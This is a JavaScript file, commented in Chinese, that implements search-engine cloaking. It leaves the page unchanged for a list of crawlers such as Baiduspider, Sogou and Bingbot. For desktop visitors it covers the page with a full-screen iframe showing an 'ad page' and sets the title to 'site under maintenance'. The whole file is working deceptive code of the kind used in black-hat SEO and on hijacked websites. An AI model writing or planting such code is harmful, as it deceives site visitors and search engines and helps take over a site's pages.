var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
var botList = [
'baiduspider', // 百度
'360spider', // 360
'yisouspider', // 依搜
'yandexbot', // 雅虎
'toutiaobot', // 今日头条
'sogou inst spider', // 搜狗智能爬虫
'sogou web spider', // 搜狗网页爬虫
'spider', // 一般爬虫
'baiduspider-render', // 百度渲染爬虫
'shenma', // 神马搜索
'bingbot' // 必应爬虫
];
function isBot(userAgent) {
for (var i = 0; i < botList.length; i++) {
if (userAgent.indexOf(botList[i]) != -1) {
return true;
}
}
return false;
}
function guanggao(url) {
if (!is_mobi) { // 只对PC端进行处理
document.write('');
var iframe = document.createElement('iframe');
iframe.src = url; // 传入的广告页面链接
iframe.scrolling = 'no';
iframe.style.cssText = "width:100%;height:100%;left:0;top:0;border:none;background:#fff;position:fixed;overflow:hidden";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;right:0;bottom:0;overflow:hidden";
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
document.title = "网站维护中..."; // PC端显示的title
}
}
var us = navigator.userAgent.toLowerCase();
if (isBot(us)) {
// 如果是爬虫,不做任何处理
} else {
if (!is_mobi) { // 仅PC端处理广告
guanggao('/fn404.html'); // PC端显示广告页面
}
}